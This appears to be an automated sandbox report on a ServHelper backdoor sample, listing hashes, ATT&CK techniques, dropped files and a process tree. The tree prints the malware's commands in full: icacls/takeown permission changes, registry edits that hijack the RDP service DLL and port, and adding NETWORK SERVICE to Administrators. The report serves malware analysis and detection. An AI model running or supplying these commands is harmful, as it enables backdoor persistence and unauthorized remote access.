servhelper | 9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca

Analysis

max time kernel
144s
max time network
44s
platform
windows7_x64
resource
win7-20220414-en
submitted
25/06/2022, 01:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe
Size

2.8MB
MD5

b22a7f7748f329f11f883697f71f22df
SHA1

172f2ec1b31de3237e24eeba79084bcd18b50f22
SHA256

9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca
SHA512

98867ae1c352ff8ebd2be803fdccdffe5a55fceb2d701245147bdcc9242837ce6f4ff379a68e44c7b36606245b1c84ad1d550cd2b94e05aeeaac4b29179322fb

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1800	icacls.exe
1648	takeown.exe
292	icacls.exe
856	icacls.exe
1872	icacls.exe
1784	icacls.exe
364	icacls.exe
1688	icacls.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0009000000012313-93.dat	upx
behavioral1/files/0x000c000000012317-94.dat	upx

Deletes itself 1 IoCs

pid	Process
940	powershell.exe

Loads dropped DLL 8 IoCs

pid	Process
1216	9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe
1216	9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe
1216	9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe
1216	9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe
1216	9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe
1216	9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe
1260	Process not Found
1260	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1800	icacls.exe
1648	takeown.exe
292	icacls.exe
856	icacls.exe
1872	icacls.exe
1784	icacls.exe
364	icacls.exe
1688	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1296	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1052	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
940	powershell.exe
940	powershell.exe
940	powershell.exe
940	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
460	Process not Found

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	940	powershell.exe
Token: SeRestorePrivilege	856	icacls.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1216 wrote to memory of 848	1216	9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe	28
PID 1216 wrote to memory of 848	1216	9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe	28
PID 1216 wrote to memory of 848	1216	9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe	28
PID 1216 wrote to memory of 848	1216	9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe	28
PID 848 wrote to memory of 1296	848	cmd.exe	30
PID 848 wrote to memory of 1296	848	cmd.exe	30
PID 848 wrote to memory of 1296	848	cmd.exe	30
PID 848 wrote to memory of 940	848	cmd.exe	31
PID 848 wrote to memory of 940	848	cmd.exe	31
PID 848 wrote to memory of 940	848	cmd.exe	31
PID 940 wrote to memory of 1648	940	powershell.exe	33
PID 940 wrote to memory of 1648	940	powershell.exe	33
PID 940 wrote to memory of 1648	940	powershell.exe	33
PID 940 wrote to memory of 292	940	powershell.exe	34
PID 940 wrote to memory of 292	940	powershell.exe	34
PID 940 wrote to memory of 292	940	powershell.exe	34
PID 940 wrote to memory of 856	940	powershell.exe	35
PID 940 wrote to memory of 856	940	powershell.exe	35
PID 940 wrote to memory of 856	940	powershell.exe	35
PID 940 wrote to memory of 1872	940	powershell.exe	36
PID 940 wrote to memory of 1872	940	powershell.exe	36
PID 940 wrote to memory of 1872	940	powershell.exe	36
PID 940 wrote to memory of 1784	940	powershell.exe	37
PID 940 wrote to memory of 1784	940	powershell.exe	37
PID 940 wrote to memory of 1784	940	powershell.exe	37
PID 940 wrote to memory of 364	940	powershell.exe	38
PID 940 wrote to memory of 364	940	powershell.exe	38
PID 940 wrote to memory of 364	940	powershell.exe	38
PID 940 wrote to memory of 1688	940	powershell.exe	39
PID 940 wrote to memory of 1688	940	powershell.exe	39
PID 940 wrote to memory of 1688	940	powershell.exe	39
PID 940 wrote to memory of 1800	940	powershell.exe	40
PID 940 wrote to memory of 1800	940	powershell.exe	40
PID 940 wrote to memory of 1800	940	powershell.exe	40
PID 940 wrote to memory of 1536	940	powershell.exe	41
PID 940 wrote to memory of 1536	940	powershell.exe	41
PID 940 wrote to memory of 1536	940	powershell.exe	41
PID 940 wrote to memory of 1052	940	powershell.exe	42
PID 940 wrote to memory of 1052	940	powershell.exe	42
PID 940 wrote to memory of 1052	940	powershell.exe	42
PID 940 wrote to memory of 908	940	powershell.exe	43
PID 940 wrote to memory of 908	940	powershell.exe	43
PID 940 wrote to memory of 908	940	powershell.exe	43
PID 940 wrote to memory of 1972	940	powershell.exe	44
PID 940 wrote to memory of 1972	940	powershell.exe	44
PID 940 wrote to memory of 1972	940	powershell.exe	44
PID 1972 wrote to memory of 2020	1972	net.exe	45
PID 1972 wrote to memory of 2020	1972	net.exe	45
PID 1972 wrote to memory of 2020	1972	net.exe	45
PID 940 wrote to memory of 1724	940	powershell.exe	46
PID 940 wrote to memory of 1724	940	powershell.exe	46
PID 940 wrote to memory of 1724	940	powershell.exe	46
PID 1804 wrote to memory of 1756	1804	cmd.exe	48
PID 1804 wrote to memory of 1756	1804	cmd.exe	48
PID 1804 wrote to memory of 1756	1804	cmd.exe	48
PID 1756 wrote to memory of 1596	1756	net.exe	49
PID 1756 wrote to memory of 1596	1756	net.exe	49
PID 1756 wrote to memory of 1596	1756	net.exe	49
PID 940 wrote to memory of 1616	940	powershell.exe	50
PID 940 wrote to memory of 1616	940	powershell.exe	50
PID 940 wrote to memory of 1616	940	powershell.exe	50
PID 1616 wrote to memory of 1104	1616	cmd.exe	51
PID 1616 wrote to memory of 1104	1616	cmd.exe	51
PID 1616 wrote to memory of 1104	1616	cmd.exe	51

C:\Users\Admin\AppData\Local\Temp\9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe
"C:\Users\Admin\AppData\Local\Temp\9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:848
- - C:\Windows\system32\timeout.exe
    timeout -t 15
    3⤵
    - Delays execution with timeout.exe
    PID:1296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
    3⤵
    - Deletes itself
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:940
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1648
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:292
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:856
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1872
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1784
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:364
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1688
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1800
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1536
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Sets DLL path for service in the registry
      Modifies registry key
      PID:1052
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:908
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1972
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:2020
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1724
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1804
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1756
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1596
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1616
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1104
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:1164
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1424
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1244
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1416

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\11.ps1

Filesize
1KB

MD5
c0fae5b04f67d12ca621200aac5378dc

SHA1
c82c80ff2a2abb57e9a23ac5a100d82c1d551238

SHA256
de678dd80006ed864550a034f48a93bf1cb5a31d706d6f25694f577f7867f2a0

SHA512
27e1c30a1ad0ab381f037eb4313f11c9c7c3eaa78b5893ba0df04cac006a4169c92d3c6f3b09d181c6862491f8793818d0e9becf355b9aa4a70bef199c536ff8

Download Submit
C:\Users\Admin\AppData\Local\Temp\evil.ps1

Filesize
3.0MB

MD5
b3740c199fd47f917a62e0c426c46934

SHA1
e0d844544c0ca5d83a1c3e32da581e2b7ebb3906

SHA256
b739faf7a9dfc7fe969a4927190f14d176c7e387e280fc970f4414fdf1062134

SHA512
d2f22de404fdfa46affc4bfff83ae5b41733a99e2b5b06722705677ca5d2031ba2f85d86803564e842e161f4e924e1fd245c37f0998b1572c4c772ecd08f4dc5

Download Submit
C:\Users\Admin\AppData\Local\Temp\uninst.dat.log

Filesize
102B

MD5
196e37a4fdff88c17578f514e4a039fa

SHA1
30d1438ae649421a2cb39f293c657947207933ae

SHA256
6a9aeceee4059adeadb51f95b9f34b592737a2cd190b945d4cce21c6e8a09dab

SHA512
78742d8312f9fa8e6360f6fb7a38d85fc85924f1387217dc6390c8e6a5c485d4a10885a1ad427f2135671712f2dc72abecd65766bc5e659e28caa2a432281630

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\Users\Admin\AppData\Local\Temp\nsy5BD.tmp\System.dll

Filesize
11KB

MD5
fbe295e5a1acfbd0a6271898f885fe6a

SHA1
d6d205922e61635472efb13c2bb92c9ac6cb96da

SHA256
a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

SHA512
2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

Download Submit
\Users\Admin\AppData\Local\Temp\nsy5BD.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nsy5BD.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nsy5BD.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nsy5BD.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nsy5BD.tmp\nsUnzip.dll

Filesize
146KB

MD5
77a26c23948070dc012bba65e7f390aa

SHA1
7e112775770f9b3b24e2a238b5f7c66f8802e5d8

SHA256
4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

SHA512
2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

Download Submit
\Windows\Branding\mediasrv.png

Filesize
55KB

MD5
e816ab93cf35418b3c7ee71296081396

SHA1
8dffeaa3a807215f1f0fc4d4754c1dccf93244c6

SHA256
b7c930b6b289f3f2809fcfdeb270786d6c5c58d062f51fa43eaae33800261260

SHA512
790fa3c5f355e5faf44e94a23fd7e3176260502ceef6a4273578125fa3d52187349e5a982377c04291a15779ef905878d34f61d3e5ee5d3928872608817df524

Download Submit
\Windows\Branding\mediasvc.png

Filesize
944KB

MD5
3346c7680c1a724104576721f058f8d6

SHA1
823926453ff44ddd192b2711ade78f2bfc7ebac0

SHA256
a4975203b5fc3a45b75f25bb2b81cac416fd9792dafb5dee9a304e7fea52a5d2

SHA512
23d1d3dfb80d09946bf28a29cc8dbb9236b5c7e92c1cadddfd6e8ba8a8030a63a2e81d64e16b00775b1174207c699e297242ff09cc59a93e594fce408d2ca85e

Download Submit
memory/940-64-0x000007FEFBD21000-0x000007FEFBD23000-memory.dmp

Filesize
8KB

Download
memory/940-67-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/940-71-0x000000000287B000-0x000000000289A000-memory.dmp

Filesize
124KB

Download
memory/940-70-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/940-69-0x000000000287B000-0x000000000289A000-memory.dmp

Filesize
124KB

Download
memory/940-100-0x000000000287B000-0x000000000289A000-memory.dmp

Filesize
124KB

Download
memory/940-99-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/940-66-0x000007FEF2E70000-0x000007FEF39CD000-memory.dmp

Filesize
11.4MB

Download
memory/940-65-0x000007FEF39D0000-0x000007FEF43F3000-memory.dmp

Filesize
10.1MB

Download
memory/1216-54-0x0000000075951000-0x0000000075953000-memory.dmp

Filesize
8KB

Download